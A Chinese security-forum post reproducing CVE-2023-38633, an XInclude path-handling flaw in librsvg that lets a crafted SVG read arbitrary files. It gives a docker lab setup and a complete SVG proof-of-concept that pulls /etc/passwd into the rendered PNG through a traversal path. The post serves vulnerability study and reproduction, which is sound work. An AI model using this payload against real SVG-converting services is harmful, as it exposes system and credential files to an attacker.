问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
librsvg XInclude 文件包含漏洞(CVE-2023-38633)
# librsvg XInclude 文件包含漏洞(CVE-2023-38633) librsvg是一个用于处理SVG图片的开源依赖库。 librsvg支持XML中的XInclude规范,可以用于加载外部内容。在librsvg 2.56.3版本以前,...
librsvg XInclude 文件包含漏洞(CVE-2023-38633) ======================================= librsvg是一个用于处理SVG图片的开源依赖库。 librsvg支持XML中的XInclude规范,可以用于加载外部内容。在librsvg 2.56.3版本以前,由于处理路径存在逻辑错误,导致攻击者可以传入一个恶意构造的SVG图片,进而读取到任意文件。 参考链接: - <https://www.canva.dev/blog/engineering/when-url-parsers-disagree-cve-2023-38633/> - <https://gitlab.gnome.org/GNOME/librsvg/-/issues/996> 漏洞环境 ---- 执行如下命令启动一个PHP服务器,其中使用librsvg 2.50.7将用户上传的SVG图片转换成PNG图片并返回: ```php docker compose up -d ``` 环境启动后,访问`http://your-ip:8080`即可查看到上传页面。 漏洞复现 ---- 将路径嵌入到`<xi:include>`标签中,如下POC: ```xml <?xml version="1.0" encoding="UTF-8" standalone="no"?> <svg width="300" height="300" xmlns:xi="http://www.w3.org/2001/XInclude"> <rect width="300" height="300" style="fill:rgb(255,255,255);" /> <text x="10" y="100"> <xi:include href=".?../../../../../../../../../../etc/passwd" parse="text" encoding="UTF-8"> <xi:fallback>file not found</xi:fallback> </xi:include> </text> </svg> ``` 上传这个SVG图片,即可查看到`/etc/passwd`已被成功读取并渲染进PNG图片中: ![](https://shs3.b.qianxin.com/butian_public/f3110586cf90fa1511b02e592e6d9d1f3831a4b8d4241.jpg)
发表于 2024-07-12 18:50:55
阅读 ( 1157 )
分类:
Web应用
0 推荐
收藏
0 条评论
请先
登录
后评论
带头大哥
456 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!